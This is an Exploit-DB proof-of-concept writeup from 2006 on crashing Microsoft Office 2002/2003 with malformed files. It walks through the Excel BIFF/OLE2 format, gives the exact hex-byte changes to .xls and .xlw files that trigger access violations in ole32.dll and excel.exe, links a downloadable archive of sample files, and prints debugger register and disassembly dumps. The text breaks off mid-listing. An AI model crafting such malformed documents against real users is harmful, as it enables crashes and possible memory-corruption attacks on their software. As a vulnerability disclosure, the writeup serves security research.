Exploit-DB #1615
Description: Microsoft Office Products - Array Index Bounds Error (PoC)
Type: dos
Platform: windows
Date: 2006-03-27
Author: posidron

Exploit:
# Full archive at https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1615.rar (excel_03262006.rar)

Topic      : Microsoft Office 2002 - Excel/Powerpoint/Word.. 10.0.2614.0 => 11.0.5612.0
Date       : 02/12/2006
Author     : posidron <posidron@tripbit.net>


Table of Contens
================
- Some Excel Information
- The XLS File Format and Observation
- The XLW File Format and Observation
- Powerpoint and Word Dump Additions
- Conclusion
- References


Some Excel Information
======================
- Microsoft Excel uses the BIFF (Binary Interchange File Format)
- in Excel 8.0 (Excel 97), BIFF8 was introduced
- in Excel 10.0 (Excel XP), BIFF8X was introduced
- Excel 97 and Excel 2000 can read BIFF8X, except new features added with Excel XP.

Since BIFF5, all data is saved in OLE2 Storage Format/Structured Storage, which
can contain streams and storages.


A BIFF record is builded as follows:

   Offset 	Size 	Contents 	 
        0          2    Identifier                              }
        2          2    Size of the following data (sz)         } Record header 	 
        4 	  sz 	Data



The XLS File Format
===================
If we open an Excel .xls workbook document with a hexeditor, we can see the
below block of records, which exists multiple times within an Excel document.

(Offsets are hexadecimal)

orig.xls
--------
Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15
00001200   FE FF 00 00 05 01 02 00  00 00 00 00 00 00 00 00   þÿ..............
00001210   00 00 00 00 00 00 00 00  01 00 00 00 E0 85 9F F2   ............à..ò
00001220   F9 4F 68 10 AB 91 08 00  2B 27 B3 D9 30 00 00 00   ùOh.«...+'³Ù0...
00001230   B0 00 00 00 07 00 00 00  01 00 00 00 40 00 00 00   °...........@...
00001240   04 00 00 00 48 00 00 00  08 00 00 00 60 00 00 00   ....H.......`...

If we change the second line from
00001210   00 00 00 00 00 00 00 00  01 00 00 00 E0 85 9F F2   ............à..ò
to
00001210   00 00 00 00 00 00 00 00  FF FF FF FF E0 85 9F F2   ............à..ò
we get an 'Access Violation' in OLE32.DLL after opening the dcument in Excel.

(ole32.dll)
774D66B6   8B73 0C          MOV ESI,DWORD PTR DS:[EBX+C]
774D66B9   8B4D 10          MOV ECX,DWORD PTR SS:[EBP+10]
774D66BC   8B7D 0C          MOV EDI,DWORD PTR SS:[EBP+C]
774D66BF   03F0             ADD ESI,EAX
774D66C1   8BC1             MOV EAX,ECX
774D66C3   C1E9 02          SHR ECX,2
774D66C6   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  <==

ECX=00000369 (decimal 873.)
DS:[ESI]=[001B24F4]=00000000
ES:[EDI]=[00924000]=???

ESP ==>  0013786C    00923AE0
EBP-8    00137870    00923AE4
EBP-4    00137874    00923ADC
EBP ==>  00137878   /001378AC
EBP+4    0013787C   |30C12D83  RETURN to mso.30C12D83
EBP+8    00137880   |001B32A8
EBP+C    00137884   |00923DC0
EBP+10   00137888   |00000FE4

EAX 00000FE4
ECX 00000369
EDX 00150608
EBX 001AE948
ESP 0013786C
EBP 00137878
ESI 001B24F4
EDI 00924000
EIP 774D66C6 OLE32.774D66C6

We found this block of records two times in an empty Excel document. I haven't
found an exact explanation about these records. It could be, that the record
FFFE defines the sheet range. More in the OpenOffice reference link on site 100.




The XLW File Format
===================
If we open an Excel .xlw Workbook document with a hexeditor, we can see the
below sequence of records, which exists multiple times within an Excel document.

(Offsets are hexadecimal)

orig.xlw
--------
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00000110   38 00 04 00 01 00 10 00  3D 00 0A 00 68 01 87 00   8.......=...h...
00000120   8C 28 8D 18 04 00 3E 02  0A 00 B6 00 00 00 00 00   .(...>...¶.....
00000130   00 00 00 00 1D 00 0F 00  03 00 00 00 00 00 00 01   ................
00000140   00 00 00 00 00 00 00 0D  00 02 00 01 00 0C 00 02   ................
00000150   00 64 00 0F 00 02 00 01  00 11 00 02 00 00 00 10   .d..............

If we change the third and fourth line from
00000130   00 00 00 00 1D 00 0F 00  03 00 00 00 00 00 00 01   ................
00000140   00 00 00 00 00 00 00 0D  00 02 00 01 00 0C 00 02   ................
to
00000130   00 00 00 00 1D 00 0F 00  03 00 00 00 00 00 00 FF   ................
00000140   FF FF FF 00 00 00 00 0D  00 02 00 01 00 0C 00 02   ................
we got an 'Access Violation' in excel.exe after opening the ducument in Excel.


Examine dump at offset: 00000110+8

    WINDOW1   | 04 Bytes | 3D 00 0A 00
    WINDOW1   | 10 Bytes | 68 01 87 00 8C 28 8D 18 04 00
    WINDOW1   | 04 Bytes | 3E 02 0A 00
    WINDOW2   | 10 Bytes | B6 00 00 00 00 00 00 00 00 00
    SELECTION | 04 Bytes | 1D 00 0F 00
    SELECTION | 15 Bytes | 03 00 00 00 00 00 00 01 00 00 00 00 00 00 00

About the SELECTION record (00 1D):

    Offset  Size 	Contents
         0     1 	Pane identifier
         1     2 	Index to row of the active cell
         3     2 	Index to column of the active cell
         5     2        Index into the following cell range list
                        to the entry that contains the active cell
         7     variable Cell range address list containing all selected
                        cell ranges. Column indexes are always 8-bit values.

    This record contains the addresses of all selected cell ranges and the
    position of the active cell for a pane in current sheet. It is part of
    the "Sheet View Settings Block". There is one SELECTION record for each
    pane in the sheet. 


excel.exe
---------
30028546   C2 0800          RETN 8
30028549   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4]
3002854D   8B15 484E7D30    MOV EDX,DWORD PTR DS:[307D4E48]
30028553   56               PUSH ESI
30028554   57               PUSH EDI
30028555   66:8B40 06       MOV AX,WORD PTR DS:[EAX+6]             <==
30028559   8B7C24 10        MOV EDI,DWORD PTR SS:[ESP+10]
3002855D   25 FF0F0000      AND EAX